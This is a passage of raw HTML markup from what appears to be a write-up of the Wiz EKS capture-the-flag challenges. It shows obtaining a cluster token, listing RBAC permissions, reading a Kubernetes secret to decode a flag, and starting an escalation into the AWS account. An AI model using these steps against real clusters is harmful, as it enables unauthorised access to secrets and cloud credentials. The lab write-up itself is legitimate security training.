\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeks\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget-token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--cluster-name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeks-challenge-cluster\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ExecCredential\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"client.authentication.k8s.io/v1beta1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"spec\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{},\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"status\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"expirationTimestamp\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-03T03:38:10Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"token\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYX\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis gets us a token, so lets try to use it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eTOKEN=$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e eks get-token \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--cluster-name\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e eks-challenge-cluster\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e '.status.token' \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-r\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emay\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eincomplete:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewebhook\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauthorizer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edoes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esupport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euser\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNon-Resource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eURLs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eResource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNames\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVerbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eserviceaccounts/token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                           []                  [debug-sa]         [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   []                  []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    []                  []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epods\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                            []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003esecrets\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                         []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eserviceaccounts\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                 []                  []                 [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api]              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis]             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]        []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]         []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]         []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      []                  [eks.privileged]   [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ePerfect!  We have more access which includes fetching secrets:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"items\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"data\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"flag\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3\u0026#x3C;*REDACTED*\u003e=\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Secret\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"metadata\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T12:27:57Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"name\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"node-flag\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"namespace\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"challenge4\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"883574\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"uid\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"26461a29-ec72-40e1-adc7-99128ce664f7\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"type\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Opaque\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"List\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"metadata\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo we just need to base64 decode that and we are on to the next challenge!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.items[0].data.flag'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-r\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{only_a_real_pro_can_navigate_\u0026#x3C;*REDACTED*\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eChallenge 5\u003c/h1\u003e\n\u003cp\u003eThe hint:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eYou've successfully transitioned from a limited Service Account to a Node\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eService Account! Great job. Your next challenge is to move from the EKS to the\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eAWS account.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eCan you acquire the AWS role of the s3access-sa service account, and get the flag?\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo lets start with checking what access we do have:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewhoami\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003esystem:node:challenge:ip-192-168-21-50.us-west-1.compute.internal\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eCan we list buckets?\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003els\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eAn\u003c/span\u003e\u003cspan 